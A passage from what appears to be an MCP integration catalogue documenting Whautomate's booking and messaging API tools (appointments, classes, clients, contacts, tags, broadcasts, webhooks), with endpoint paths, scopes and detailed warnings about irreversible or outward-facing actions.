POST /api/v1/messages/{message_id}/forward. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Forward a message to a chat. (Whatsapp only) POST /api/v1/whatsapp/api/v1/messages/{message_id}/forward. Scopes: write. whatsapp_post_messages_by_message_id_reaction (write, destructive) — Add a reaction to a message. POST /api/v1/messages/{message_id}/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Add a reaction to a message. (Whatsapp, LinkedIn, Telegram, Instagram) POST /api/v1/whatsapp/api/v1/messages/{message_id}/reaction. Scopes: write. ================================================================================ ## Whautomate URL: https://www.agenticfabriq.com/integrations/whautomate Section: Integrated Tools Whautomate — 83 MCP tools Provider key: whautomate. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. whautomate_delete_v1_broadcasts_by_broadcastid (write, destructive) — Delete one broadcast, via DELETE /v1/broadcasts/{broadcastId}. PERMANENT, and it takes the campaign's REPORTING with it: `deliveryStats`, `processedStats` and the per-recipient delivery log are attached to this record, and 'List a broadcast's delivery log' has nothing to read afterwards. IT DOES NOT UNSEND ANYTHING -- messages already delivered stay delivered, and whether it stops a campaign that is scheduled or in flight is not documented and was not measured. Answers `{"success": true}`. DELETE /api/v1/whautomate/v1/broadcasts/{broadcastId}. Scopes: api. whautomate_delete_v1_classes_by_classid (write, destructive) — Delete one class, via DELETE /v1/classes/{classId}. PERMANENT, and it is the delete most likely to affect people who do not know it happened: a class carries PARTICIPANTS, real clients with a booking, and the sealed sources do not say whether deleting the session notifies them or merely drops their bookings -- and no credential was available to measure it. Prefer cancelling each participant with 'Cancel a class participant', which fires `class_participant_cancelled` and therefore does tell them, before deleting the session. Answers `{"success": true}`. DELETE /api/v1/whautomate/v1/classes/{classId}. Scopes: api. whautomate_delete_v1_clients_by_clientid (write, destructive) — Delete one client, via DELETE /v1/clients/{clientId}. PERMANENT, and it is the widest delete on this provider: a client is the record every appointment and every class booking is attached to, and Whautomate publishes no recycle bin and no restore endpoint. What happens to that client's existing appointments and class bookings is NOT documented anywhere in the sealed sources and was NOT measured -- no Whautomate credential was available to this build -- so treat the booking history as at risk rather than assuming it survives. Answers `{"success": true}` and nothing else, so confirm by asking for the client again. DELETE /api/v1/whautomate/v1/clients/{clientId}. Scopes: api. whautomate_delete_v1_clienttags_by_clienttagid (write, destructive) — Delete one client tag, via DELETE /v1/clientTags/{clientTagId}. PERMANENT, and WIDER THAN IT LOOKS: the tag disappears from every client carrying it, and any SEGMENT whose criteria name it loses that criterion's meaning -- which silently changes the audience of every broadcast aimed at that segment. Whautomate publishes no undo. Answers `{"success": true}`. Deleting the tag does not delete the clients. DELETE /api/v1/whautomate/v1/clientTags/{clientTagId}. Scopes: api. whautomate_delete_v1_contacts_by_contactid (write, destructive) — Delete one contact, via DELETE /v1/contacts/{contactId}. PERMANENT, with no recycle bin. A contact owns a CONVERSATION -- the message history 'Get a contact's message history' reads -- and the sealed sources do not say whether that history survives the contact, and it was not measured because no credential was available, so treat the conversation as lost. Deleting a contact does NOT delete the client of the same person, if one exists: they are separate records. Answers `{"success": true}`. DELETE /api/v1/whautomate/v1/contacts/{contactId}. Scopes: api. whautomate_delete_v1_contacttags_by_contacttagid (write, destructive) — Delete one contact tag, via DELETE /v1/contactTags/{contactTagId}. PERMANENT, and WIDER THAN IT LOOKS: the tag disappears from every contact carrying it, and any SEGMENT naming it in its criteria silently changes audience -- which changes who an unsent broadcast reaches. No undo is published. Answers `{"success": true}`. The contacts themselves are untouched. DELETE /api/v1/whautomate/v1/contactTags/{contactTagId}. Scopes: api. whautomate_delete_v1_segments_by_segmentid (write, destructive) — Delete one segment, via DELETE /v1/segments/{segmentId}. PERMANENT, and there is no update tool to undo it with -- this provider offers segment create, read and delete but no PUT, so a deleted segment must be rebuilt from scratch and its criteria are gone with it. The clients or contacts it selected are untouched. Broadcasts already sent are unaffected; a broadcast still holding this segment id loses its audience. Answers `{"success": true}`. DELETE /api/v1/whautomate/v1/segments/{segmentId}. Scopes: api. whautomate_delete_v1_servicecategories_by_servicecategoryid (write, destructive) — Delete one service category, via DELETE /v1/serviceCategories/{serviceCategoryId}. PERMANENT. The SERVICES filed under it are not deleted -- a category is a grouping, not a container -- but they lose that grouping, which changes how the business's own booking menus render. Whautomate publishes no undo. Answers `{"success": true}`. DELETE /api/v1/whautomate/v1/serviceCategories/{serviceCategoryId}. Scopes: api. whautomate_delete_v1_staffs_by_staffid_availabilityblocks_by_availabilityblockid (write, destructive) — Remove one day's availability for a staff member, via DELETE /v1/staffs/{staffId}/availabilityBlocks/{availabilityBlockId}. PERMANENT, and it CLOSES A REAL CALENDAR: after this the staff member has no declared availability for that day, so online booking and the slot search will offer nothing. Appointments already booked in those hours are NOT cancelled by it -- they simply sit outside any declared block, which is the confusing state to land in by accident. Answers `{"success": true}`; re-create the day with 'Set a staff member's availability for a day' rather than expecting an undo. DELETE /api/v1/whautomate/v1/staffs/{staffId}/availabilityBlocks/{availabilityBlockId}. Scopes: api. whautomate_delete_v1_webhooks_by_webhookid (write, destructive) — Delete one webhook subscription, via DELETE /v1/webhooks/{webhookId}. PERMANENT, and it SILENTLY BREAKS whatever integration was listening: Whautomate simply stops calling that endpoint, with no error anywhere for the receiving side to notice. Prefer 'Update a webhook subscription' with `active: false` when you only want to pause delivery. Answers `{"success": true}`. DELETE /api/v1/whautomate/v1/webhooks/{webhookId}. Scopes: api. whautomate_get_v1_account_info (read) — Read the Whautomate account this connection authenticates as, via GET /v1/account-info. Returns the account `name` and `ownerEmail` and nothing else -- it is a small identity call rather than a settings dump. THIS IS ALSO THE CONNECTION'S HEALTH CHECK and the probe this provider declares: a working key answers 200, and a missing or wrong key answers 403 `{"message":"Forbidden"}` (measured 2026-09-25 on both the Global and India hosts). Whautomate never answers 401 here. A 403 does NOT distinguish a missing header from an incorrect key -- both bodies are identical -- and a 429 `{"message":"Too Many Requests"}` means the account's rate budget is spent, not that the key is bad; on a trial account that budget is 100 requests per DAY. GET /api/v1/whautomate/v1/account-info. Scopes: api. whautomate_get_v1_appointments (read) — Search one-to-one appointments, via GET /v1/appointments. An APPOINTMENT is a one-to-one booking between a client and a staff member; a group session is a CLASS and has its own tools. Filter by `clientId`, `staffId`, `locationId` and a `startDate`/`endDate` window -- all optional, and they compose. Each entry carries the client, service, staff, location, the local `date`/`time` plus server-computed `startTime`/`endTime` and their UTC twins, `status` and `paymentStatus`. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/appointments. Scopes: api. whautomate_get_v1_appointments_by_appointmentid (read) — Read one appointment, via GET /v1/appointments/{appointmentId}. The full booking: `client`, `service` and any `addOnServices` with their durations and prices, `staff`, `location`, the local `date`/`time` and `timezone`, the computed `startTime`/`endTime` and their `...UTC` twins, `appointmentType`, `bookedFrom`, `status` and `paymentStatus`. Read `status` before rescheduling: an already cancelled appointment is not a candidate. GET /api/v1/whautomate/v1/appointments/{appointmentId}. Scopes: api. whautomate_get_v1_appointments_slots (read) — Find bookable times for a service and staff member, via GET /v1/appointments/slots. CALL THIS BEFORE 'Create an appointment'. It answers an array of `{date, timezone, slots: [{startTime, endTime}]}` computed from the staff member's availability blocks, the service's duration and its booking window -- which is why booking a time this did not offer needs `overrideTimeSlotValidation` and double-books a real calendar. It returns nothing when the staff member has no availability block for that day; check with 'List a staff member's availability blocks'. `nextThreeDays` widens a single-day query to a short window. GET /api/v1/whautomate/v1/appointments/slots. Scopes: api. whautomate_get_v1_broadcasts (read) — List bulk messaging campaigns, via GET /v1/broadcasts. A BROADCAST is a bulk send to a segment, a class roster or a previous broadcast's audience. Each entry carries `status`, `scheduleDateTime`, `startedAt`/`completedAt`, a `processedStats` block (`totalCount`/`successCount`/`failureCount`) and a `deliveryStats` block (`sentCount`, `deliveredCount`, `readCount`, `repliedCount`, `failedCount`) -- which is how you tell a campaign that is still going from one that has finished. Filter by date window, location and text. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/broadcasts. Scopes: api. whautomate_get_v1_broadcasts_by_broadcastid (read) — Read one broadcast, via GET /v1/broadcasts/{broadcastId}. The campaign in full: its `type` and target (`segments`, `targetClass` + `targetClassStatus`, or `retargetBroadcast` + `retargetEngagementType`), its `template` and every parameter array, its `scheduleDateTime` and lifecycle timestamps, and both statistics blocks. This is the call to poll after creating a broadcast: `processedStats` tells you how far the fan-out has got, `deliveryStats` what the recipients did. GET /api/v1/whautomate/v1/broadcasts/{broadcastId}. Scopes: api. whautomate_get_v1_broadcasts_by_broadcastid_logs (read) — List per-recipient delivery records for a broadcast, via GET /v1/broadcasts/{broadcastId}/logs. The per-recipient detail behind the aggregate `deliveryStats` on 'Get a broadcast' -- who it went to and what happened. This is where a campaign that reports failures is diagnosed. A bare array with no pagination envelope and, in the sealed export, no element schema, so read the first page before writing code against its shape. Paged with `page`/`limit`: a large campaign's log is the biggest read on this provider and a trial account has 100 requests a DAY. GET /api/v1/whautomate/v1/broadcasts/{broadcastId}/logs. Scopes: api. whautomate_get_v1_classes (read) — Search group sessions, via GET /v1/classes. A CLASS is a group session -- a service, a staff member, a location, a date and a capacity -- as opposed to an APPOINTMENT, which is one-to-one. Each entry carries `bookedParticipants` against `numberOfParticipants`, which is the pair to read before booking anybody in. Filter by `staffId`, `locationId` and a `startDate`/`endDate` window. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/classes. Scopes: api. whautomate_get_v1_classes_by_classid (read) — Read one class, via GET /v1/classes/{classId}. The session's `service`, `staff`, `location`, local `date`/`time` and `timezone`, the computed `startTime`/`endTime` and their UTC twins, `status`, and `bookedParticipants` against `numberOfParticipants`. It does NOT list who is booked -- 'List a class's participants' does that. GET /api/v1/whautomate/v1/classes/{classId}. Scopes: api. whautomate_get_v1_classes_by_classid_participants (read) — List who is booked into a class, via GET /v1/classes/{classId}/participants. The clients booked into this session, each with a participant `id` that is DISTINCT FROM THE CLIENT ID -- it is the booking's id, and it is what 'Cancel a class participant' takes. Also carries `status` (booked, waitlisted, cancelled, visited, no-show) and `paymentStatus`. A bare array; the export declares no element schema for it, so the per-participant reader is the documented shape. GET /api/v1/whautomate/v1/classes/{classId}/participants. Scopes: api. whautomate_get_v1_classes_by_classid_participants_by_participantid (read) — Read one class booking, via GET /v1/classes/{classId}/participants/{participantId}. Both ids are required and positional. `participantId` is the BOOKING's id from 'List a class's participants', not the client's. The reply describes the session -- `service`, `staff`, `location`, the local and UTC times, `status` and the capacity counters -- which is the shape the export declares for this route. GET /api/v1/whautomate/v1/classes/{classId}/participants/{participantId}. Scopes: api. whautomate_get_v1_classes_clients_by_clientid_bookings (read) — List the classes one client is booked into, via GET /v1/classes/clients/{clientId}/bookings. The other direction from 'List a class's participants': that one answers who is in a session, this one answers which sessions a person is in. Takes a CLIENT id -- class bookings belong to clients, not to contacts. Narrow with `startDate`/`endDate` and `locationId`. A bare array with no pagination envelope. NOTE THE PATH SHAPE: `clients` is nested under `/v1/classes`, so this route is a sibling of the class ids and is mounted before them. GET /api/v1/whautomate/v1/classes/clients/{clientId}/bookings. Scopes: api. whautomate_get_v1_clients (read) — Search the account's clients, via GET /v1/clients. A CLIENT is Whautomate's booking-and-billing person -- `fullName`, `phone` plus a separate `countryCode`, `dob`, emergency contact, `primaryStaff` -- and it is NOT the same record as a CONTACT, which is the messaging-inbox person with its own ids, its own tags and its own list tool. Mixing the two is the most common mistake on this provider. Every filter is optional and they compose; `tags` filters on the CLIENT tag namespace (`/v1/clientTags`). The reply is a bare array with no pagination envelope. GET /api/v1/whautomate/v1/clients. Scopes: api. whautomate_get_v1_clients_by_clientid (read) — Read one client in full, via GET /v1/clients/{clientId}. The whole record: name, contact details, `dob`, `gender`, `maritalStatus`, address, `identificationNumber`, the emergency contact, `primaryLocation`, `primaryStaff`, `referralSource`, `registrationDate`, `tags` and `customFields`. NOTE THE PHOTO FIELD ASYMMETRY: reads return `photo`, writes take `photoUrl`. This returns a CLIENT; for the messaging record use 'Get a contact'. GET /api/v1/whautomate/v1/clients/{clientId}. Scopes: api. whautomate_get_v1_clienttags (read) — List the CLIENT tag vocabulary, via GET /v1/clientTags. The tags that may be applied to CLIENTS. THERE ARE TWO SEPARATE TAG NAMESPACES on this provider and they do not share names: this one, and `/v1/contactTags` for contacts. A tag that exists here is not usable on a contact and vice versa. Each entry carries `id`, `name`, `canonical` and timestamps. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/clientTags. Scopes: api. whautomate_get_v1_clienttags_by_clienttagid (read) — Read one client tag, via GET /v1/clientTags/{clientTagId}. Its `name`, its `canonical` form and its timestamps. This addresses the CLIENT namespace: a contact tag id here will not resolve. GET /api/v1/whautomate/v1/clientTags/{clientTagId}. Scopes: api. whautomate_get_v1_contacts (read) — Search the account's messaging contacts, via GET /v1/contacts. A CONTACT is Whautomate's messaging-inbox person -- `name`, a single `phoneNumber` that INCLUDES the country code, and a funnel `stage` -- and it is NOT the same record as a CLIENT, which is the booking and billing person with a split phone/countryCode and its own list tool. Contact ids are what every send tool takes. `channel` narrows to one messaging channel and `tags` filters the CONTACT tag namespace (`/v1/contactTags`). A bare array with no pagination envelope. GET /api/v1/whautomate/v1/contacts. Scopes: api. whautomate_get_v1_contacts_by_contactid (read) — Read one contact, via GET /v1/contacts/{contactId}. `name`, `phoneNumber` (country code included), `location`, funnel `stage`, `tags` and `customFields`. This is the MESSAGING record; for the booking record use 'Get a client'. The id here is what 'Get a contact's message history' and every send tool take. GET /api/v1/whautomate/v1/contacts/{contactId}. Scopes: api. whautomate_get_v1_contacttags (read) — List the CONTACT tag vocabulary, via GET /v1/contactTags. The tags that may be applied to CONTACTS. This is the other of the two separate tag namespaces -- `/v1/clientTags` holds the client one -- and a name in one is not usable in the other. Each entry carries `id`, `name`, `canonical` and timestamps. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/contactTags. Scopes: api. whautomate_get_v1_contacttags_by_contacttagid (read) — Read one contact tag, via GET /v1/contactTags/{contactTagId}. Its `name`, its `canonical` form and its timestamps. This addresses the CONTACT namespace; a client tag id here will not resolve. GET /api/v1/whautomate/v1/contactTags/{contactTagId}. Scopes: api. whautomate_get_v1_locations (read) — List the account's business locations, via GET /v1/locations. START HERE ON A NEW CONNECTION. Whautomate models a business as one or more physical locations, and a `location.id` is required on every send, every broadcast, every appointment, every class and every segment -- so almost nothing else on this provider can be called until you have read one from here. Each entry carries `id`, `title`, `addressLine1`/`addressLine2`, `city`, `district`, `postalCode` and `phone`. The reply is a BARE ARRAY with no pagination envelope; walk `page` until a short or empty page comes back. GET /api/v1/whautomate/v1/locations. Scopes: api. whautomate_get_v1_locations_by_locationid (read) — Read one business location, via GET /v1/locations/{locationId}. The same shape 'List business locations' returns, for a single id: `title`, the two address lines, `city`, `district`, `postalCode` and `phone`. Useful for confirming which site an id refers to before booking into it or broadcasting from it. GET /api/v1/whautomate/v1/locations/{locationId}. Scopes: api. whautomate_get_v1_messages_by_contactid (read) — Read the conversation with one contact, via GET /v1/messages/{contactId}. Takes a CONTACT id, not a client id -- conversations belong to contacts. Each message carries its `channel`, `text`, `mediaUrl`, `type`, `status`, `errorMessage`, `sentBy`, any `options` buttons, and `isIncoming`, which is the field that says who spoke. THIS IS THE ONLY READ ON THIS SURFACE THAT RETURNS CUSTOMER MESSAGE CONTENT, so a connection granted it can read every conversation in the account. Paged with `page`/`limit` and a bare array; no pagination envelope. GET /api/v1/whautomate/v1/messages/{contactId}. Scopes: api. whautomate_get_v1_segments (read) — List saved audiences, via GET /v1/segments. A SEGMENT is a saved audience and is what a BROADCAST is aimed at, so this is the call that decides who a campaign reaches. Each segment declares `type`: `client` or `contact`, which population it selects from -- and because clients and contacts have separate tag namespaces, a segment of the wrong type quietly addresses the wrong people. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/segments. Scopes: api. whautomate_get_v1_segments_by_segmentid (read) — Read one segment, via GET /v1/segments/{segmentId}. READ THIS BEFORE BROADCASTING TO IT. The sealed export declares no properties on this operation's 200 response -- unusually for this provider -- so what comes back is whatever the segment model holds: its `name`, its `type` and its `criteria`. It does NOT return the members; there is no tool on this surface that enumerates who a segment resolves to, which is why the criteria are worth reading carefully before a send. GET /api/v1/whautomate/v1/segments/{segmentId}. Scopes: api. whautomate_get_v1_servicecategories (read) — List the groupings services are filed under, via GET /v1/serviceCategories. Service categories are how a business groups its services for its own menus and booking pages. Each carries `id`, `name`, a server-derived `slug`, its `location` and timestamps. The ids are what a service's `categories` array takes. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/serviceCategories. Scopes: api. whautomate_get_v1_servicecategories_by_servicecategoryid (read) — Read one service category, via GET /v1/serviceCategories/{serviceCategoryId}. Its `name`, `slug`, `location` and timestamps. It does not list the services filed under it -- use 'List services' and read each service's `categories`. GET /api/v1/whautomate/v1/serviceCategories/{serviceCategoryId}. Scopes: api. whautomate_get_v1_services (read) — List what the business sells, via GET /v1/services. A service is one bookable or billable thing, and its `serviceType` decides which tools can use it: `APPOINTMENT` for one-to-one bookings, `CLASS` for group sessions, `ADD_ON` for something billed alongside another service. Booking an `APPOINTMENT`-type service into a class, or the reverse, is the usual cause of a refused booking. Filter with `serviceType` and `locationId`. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/services. Scopes: api. whautomate_get_v1_services_by_serviceid (read) — Read one service in full, via GET /v1/services/{serviceId}. Everything the listing carries plus the parts that decide how it is sold and delivered: `sellingPrice` and `costPrice`, `durationMinutes`, `credits`, the `categories` and `staffs` it is restricted to, its `addOnServices` and `addOnAppliesTo`, its `advanceSettings` booking window and buffer, and its `taxOverrides`. Read this before creating an appointment to confirm the duration and which staff may deliver it. GET /api/v1/whautomate/v1/services/{serviceId}. Scopes: api. whautomate_get_v1_staffs (read) — List the account's staff members, via GET /v1/staffs. Each entry carries `id`, `firstName`, `lastName`, `email`, `phone` and `countryCode`, `gender`, `active`, and `locations` -- the ids of the sites that staff member works at. The ids are what every booking tool takes as `staff.id` and what 'List staff availability blocks' and 'List available appointment slots' filter on. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/staffs. Scopes: api. whautomate_get_v1_staffs_by_staffid (read) — Read one staff member, via GET /v1/staffs/{staffId}. Name, contact details, `gender`, whether they are `active`, and the `locations` they work at. Read this before assigning an appointment: a staff member who does not work at the booking's location, or who is not `active`, is the usual cause of a booking the calendar refuses. GET /api/v1/whautomate/v1/staffs/{staffId}. Scopes: api. whautomate_get_v1_staffs_by_staffid_availabilityblocks (read) — List when a staff member is available, via GET /v1/staffs/{staffId}/availabilityBlocks. An availability block is one DAY's working slots for one staff member: a `date`, a `timezone` and a list of `{startTime, endTime}` with their `...UTC` twins. This is the roster the appointment slot search runs against, so it is the right place to look when 'List available appointment slots' returns nothing. Narrow with `startDate`/`endDate`; a bare array comes back. GET /api/v1/whautomate/v1/staffs/{staffId}/availabilityBlocks. Scopes: api. whautomate_get_v1_staffs_by_staffid_availabilityblocks_by_availabilityblockid (read) — Read one availability block, via GET /v1/staffs/{staffId}/availabilityBlocks/{availabilityBlockId}. One day's slots for one staff member: `date`, `timezone`, the `slots` array and the `staff` the block belongs to. Both ids are required and both are positional -- the block id alone will not address it. GET /api/v1/whautomate/v1/staffs/{staffId}/availabilityBlocks/{availabilityBlockId}. Scopes: api. whautomate_get_v1_webhooks (read) — List the account's webhook subscriptions, via GET /v1/webhooks. Each subscription carries its `name`, the `serverUrl` Whautomate posts to, the `events` it is subscribed to, whether it is `active`, and its `webhookHeaders`. THOSE HEADERS ARE READ BACK IN FULL, including any shared secret stored in one -- this API key can therefore read every webhook secret on the account. A bare array with no pagination envelope. GET /api/v1/whautomate/v1/webhooks. Scopes: api. whautomate_get_v1_webhooks_by_webhookid (read) — Read one webhook subscription, via GET /v1/webhooks/{webhookId}. The subscription's `name`, `serverUrl`, `events`, `active` flag, `webhookHeaders` and timestamps. As with the listing, the header VALUES come back in full, so anything stored there is readable by any holder of this key. GET /api/v1/whautomate/v1/webhooks/{webhookId}. Scopes: api. whautomate_post_v1_appointments (write) — Create a one-to-one appointment, via POST /v1/appointments. BOOKS A REAL PERSON'S CALENDAR and, depending on the account's automations, sends the client a confirmation message. `client`, `service`, `location`, `date` and `time` are required; `client` takes either an existing `id` or `fullName` + `phone` + `countryCode`, in which case WHAUTOMATE CREATES THE CLIENT -- so a typo'd phone number produces a duplicate person rather than an error. Use 'List available appointment slots' to pick a `time` the calendar will accept. `overrideTimeSlotValidation` bypasses that check and double-books; send it only when a human asked for that exact time. Fires `appointment_scheduled`. POST /api/v1/whautomate/v1/appointments. Scopes: api. whautomate_post_v1_appointments_cancel (write) — Cancel a booked appointment, via POST /v1/appointments/cancel. A POST TO A LITERAL PATH with `appointmentId` in the BODY, not a DELETE. THE APPOINTMENT RECORD SURVIVES with a cancelled `status` -- this is a state change rather than a deletion, which is why it is not marked destructive -- but it fires `appointment_cancelled`, and on an account with the usual automations that MESSAGES THE CLIENT. There is no uncancel: rebooking means 'Book an appointment' again. `cancellationReason` is free text and is worth sending, because it is what a human will read later. The declared 200 carries no properties; confirm with 'Get an appointment'. POST /api/v1/whautomate/v1/appointments/cancel. Scopes: api. whautomate_post_v1_appointments_reschedule (write) — Move an appointment to a new time, via POST /v1/appointments/reschedule. A POST TO A LITERAL PATH, not a PUT on the appointment: the id travels in the BODY as `appointmentId`. Moves the booking to `date` + `time` in `timezone` and fires `appointment_rescheduled`, which typically messages the client -- so this is visible to a real person, not a silent record edit. It does not take a new staff member or service; only the time moves. Check the new time against 'List available appointment slots' first, because this call has no override flag to fall back on. POST /api/v1/whautomate/v1/appointments/reschedule. Scopes: api. whautomate_post_v1_broadcasts (write, destructive) — Create and send a bulk messaging campaign, via POST /v1/broadcasts. THE HIGHEST-CONSEQUENCE CALL ON THIS PROVIDER, and the reason it carries the confirm gate although it is not a DELETE: it sends real WhatsApp messages to every member of a segment, a class roster or a previous campaign's audience, it is billable per message, and Whautomate publishes NO RECALL and no tool on this surface that stops a campaign once created -- `deliveryStats` is the only thing that comes back. Omitting `scheduleDateTime` sends IMMEDIATELY. `type` chooses the audience and decides which of the target fields is read: `client`/`contact` use `segments`, `class` uses `targetClass` + `targetClassStatus`, `retarget` uses `retargetBroadcast` + `retargetEngagementType`. READ 'Get a segment' FIRST -- there is no tool that enumerates a segment's members, so the audience size is not knowable from this API before you send. `deliveryStats` and `processedStats` are server-maintained; sending them sets nothing. POST /api/v1/whautomate/v1/broadcasts. Scopes: api. whautomate_post_v1_classes (write) — Create a group session, via POST /v1/classes. `service`, `staff`, `location`, `date` and `time` are required, and the service should be one whose `serviceType` is `CLASS` -- an `APPOINTMENT` service scheduled as a class is the usual cause of a session nobody can book into. `numberOfParticipants` is the capacity, and it is what decides whether 'Add a participant to a class' books or waitlists. PUTS A SESSION ON A REAL STAFF MEMBER'S CALENDAR and, if the account allows online booking, makes it publicly bookable. POST /api/v1/whautomate/v1/classes. Scopes: api. whautomate_post_v1_classes_by_classid_participants_add (write) — Book a client into a class, via POST /v1/classes/{classId}/participants/add. BOOKS A REAL PERSON INTO A REAL SESSION and fires `class_participant_scheduled` (or `class_participant_waitlisted`), which on the usual account automations messages them. `client` takes either an existing `id` or `fullName` + `phone` + `countryCode`, in which case WHAUTOMATE CREATES THE CLIENT -- so a typo makes a duplicate person rather than an error. `status` is `BOOKED` or `WAITLISTED`; check `bookedParticipants` against `numberOfParticipants` on 'Get a class' to know which is appropriate. POST /api/v1/whautomate/v1/classes/{classId}/participants/add. Scopes: api. whautomate_post_v1_classes_by_classid_participants_cancel (write) — Cancel one client's place in a class, via POST /v1/classes/{classId}/participants/cancel. `participantId` is the BOOKING's id from 'List a class's participants', not the client's, and it travels in the body while the class id is in the path. The booking record SURVIVES with a cancelled `status` -- a state change rather than a deletion, which is why this is not marked destructive -- and it fires `class_participant_cancelled`, so on the usual account automations THE CLIENT IS TOLD. There is no uncancel; rebooking means 'Add a participant to a class' again, which may land them on the waitlist if the place has gone. POST /api/v1/whautomate/v1/classes/{classId}/participants/cancel. Scopes: api. whautomate_post_v1_clients (write) — Create a client record, via POST /v1/clients. `fullName`, `phone` and `countryCode` are the required trio, and the last two are SEPARATE FIELDS -- putting the country code into `phone` produces a client whose number will not match an inbound WhatsApp thread. A client is the record appointments and class bookings are made against; if what you actually want is to message somebody, create a CONTACT instead. `tags` here are CLIENT tags and are set wholesale; `photoUrl` is fetched by Whautomate. The 200 carries the created record including the `id` the booking tools need. POST /api/v1/whautomate/v1/clients. Scopes: api. whautomate_post_v1_clients_by_clientid_tags_add (write) — Add tags to one client, via POST /v1/clients/{clientId}/tags/add. Incremental, unlike sending `tags` on 'Update a client', which replaces them. These are CLIENT tags -- the `/v1/clientTags` namespace -- and adding one fires the `client_tag_added` webhook event, which Whautomate automations commonly key on, so a tag added here can start a real workflow. The 200 answers the client's id and its full tag list afterwards. WHAUTOMATE'S EXPORTS DECLARE NO REQUEST BODY FOR THIS OPERATION: the `tags` field below is inferred from that response shape and the operation's name rather than read from a schema, and this call was never made live because no credential was available. POST /api/v1/whautomate/v1/clients/{clientId}/tags/add. Scopes: api. whautomate_post_v1_clients_by_clientid_tags_remove (write) — Remove tags from one client, via POST /v1/clients/{clientId}/tags/remove. Takes the tags off this client only; the tag itself survives in the `/v1/clientTags` namespace and on every other client. Fires the `client_tag_removed` webhook event. Not marked destructive -- nothing is deleted -- but a client can drop out of a tag-based SEGMENT because of it, and therefore out of the audience of a broadcast that has not yet been sent. Same body caveat as 'Add tags to a client': the exports declare none, so the shape is inferred. POST /api/v1/whautomate/v1/clients/{clientId}/tags/remove. Scopes: api. whautomate_post_v1_clienttags (write) — Add a tag to the CLIENT tag vocabulary, via POST /v1/clientTags. Only `name` matters; `canonical` and the timestamps are server-maintained and sending them changes nothing. Creating a tag does not apply it to anybody -- use 'Add tags to a client' for that. This adds to the CLIENT namespace only. POST /api/v1/whautomate/v1/clientTags. Scopes: api. whautomate_post_v1_contacts (write) — Create a messaging contact, via POST /v1/contacts. `name`, `phoneNumber` and `location` are required. `phoneNumber` INCLUDES the country code -- the opposite of a client, which splits them -- and it is the key Whautomate matches an inbound WhatsApp/Telegram/Instagram thread on, so a number in the wrong format produces a contact that never joins its own conversation. `stage` values are exact, spaces and parentheses included. Creating a contact fires the `contact_created` webhook event. POST /api/v1/whautomate/v1/contacts. Scopes: api. whautomate_post_v1_contacts_by_contactid_tags_add (write) — Add tags to one contact, via POST /v1/contacts/{contactId}/tags/add. Incremental, unlike sending `tags` on 'Update a contact'. These are CONTACT tags -- the `/v1/contactTags` namespace -- and adding one fires `contact_tag_added`, which Whautomate automations key on, so a tag added here can start a real workflow and can pull the contact into a tag-based segment. TWO THINGS THE LEDGER GOT WRONG HERE, both corrected in this build: it declared a required path parameter named `proxy` that the URL has no slot for (inherited from the AWS API Gateway `{proxy+}` resource this route sits under), and it declared no request body at all -- so the `tags` field below is inferred from the documented response rather than read from a schema. POST /api/v1/whautomate/v1/contacts/{contactId}/tags/add. Scopes: api. whautomate_post_v1_contacts_by_contactid_tags_remove (write) — Remove tags from one contact, via POST /v1/contacts/{contactId}/tags/remove. Takes the tags off this contact only; the tag survives in the vocabulary and on every other contact. Fires `contact_tag_removed`. Not destructive -- nothing is deleted -- but it can drop the contact out of a tag-based SEGMENT and therefore out of an unsent broadcast's audience. Same two ledger corrections as 'Add tags to a contact': the spurious `proxy` path parameter is dropped and the body shape is inferred, because the exports declare none. POST /api/v1/whautomate/v1/contacts/{contactId}/tags/remove. Scopes: api. whautomate_post_v1_contacttags (write) — Add a tag to the CONTACT tag vocabulary, via POST /v1/contactTags. Only `name` matters; `canonical` and the timestamps are server-maintained. Creating a tag applies it to nobody -- use 'Add tags to a contact' for that. This adds to the CONTACT namespace only; the client vocabulary has its own create tool. POST /api/v1/whautomate/v1/contactTags. Scopes: api. whautomate_post_v1_messages_instagram_sendmedia (write) — Send a file over Instagram, via POST /v1/messages/instagram/sendmedia. SENDS A REAL MESSAGE, with no unsend. `contact`, `location`, `mediaUrl` and `mimeType` are required; contact id only, no client and no raw phone number. WHAUTOMATE FETCHES `mediaUrl` from its own infrastructure, so an unreachable or expired link produces a send that this call accepts and the recipient never receives. POST /api/v1/whautomate/v1/messages/instagram/sendmedia. Scopes: api. whautomate_post_v1_messages_instagram_sendtemplate (write) — Send a card carousel with buttons over Instagram, via POST /v1/messages/instagram/sendtemplate. NOT THE SAME KIND OF 'TEMPLATE' AS THE WHATSAPP ONE: there is no approved template to name here. This is Meta's generic-template message -- a list of `elements`, each a card with a `title`, optional `subtitle` and `image_url`, and `buttons`. The button `type` vocabulary is NARROWER than Messenger's: `web_url` and `postback` only, with no `phone_number`. `contact`, `location` and `elements` are required. Sends a real message, with no unsend. POST /api/v1/whautomate/v1/messages/instagram/sendtemplate. Scopes: api. whautomate_post_v1_messages_instagram_sendtext (write) — Send a plain Instagram DM, via POST /v1/messages/instagram/sendtext. SENDS A REAL MESSAGE, with no unsend. `contact`, `location` and `textMessage` are required. UNLIKE THE WHATSAPP SENDS, this channel takes ONLY a contact id -- there is no `client` and no `recepient` phone-number option, because an Instagram thread exists only against a contact Whautomate already knows. Omit `scheduleDateTime` to send now. POST /api/v1/whautomate/v1/messages/instagram/sendtext. Scopes: api. whautomate_post_v1_messages_messenger_sendmedia (write) — Send a file over Messenger, via POST /v1/messages/messenger/sendmedia. SENDS A REAL 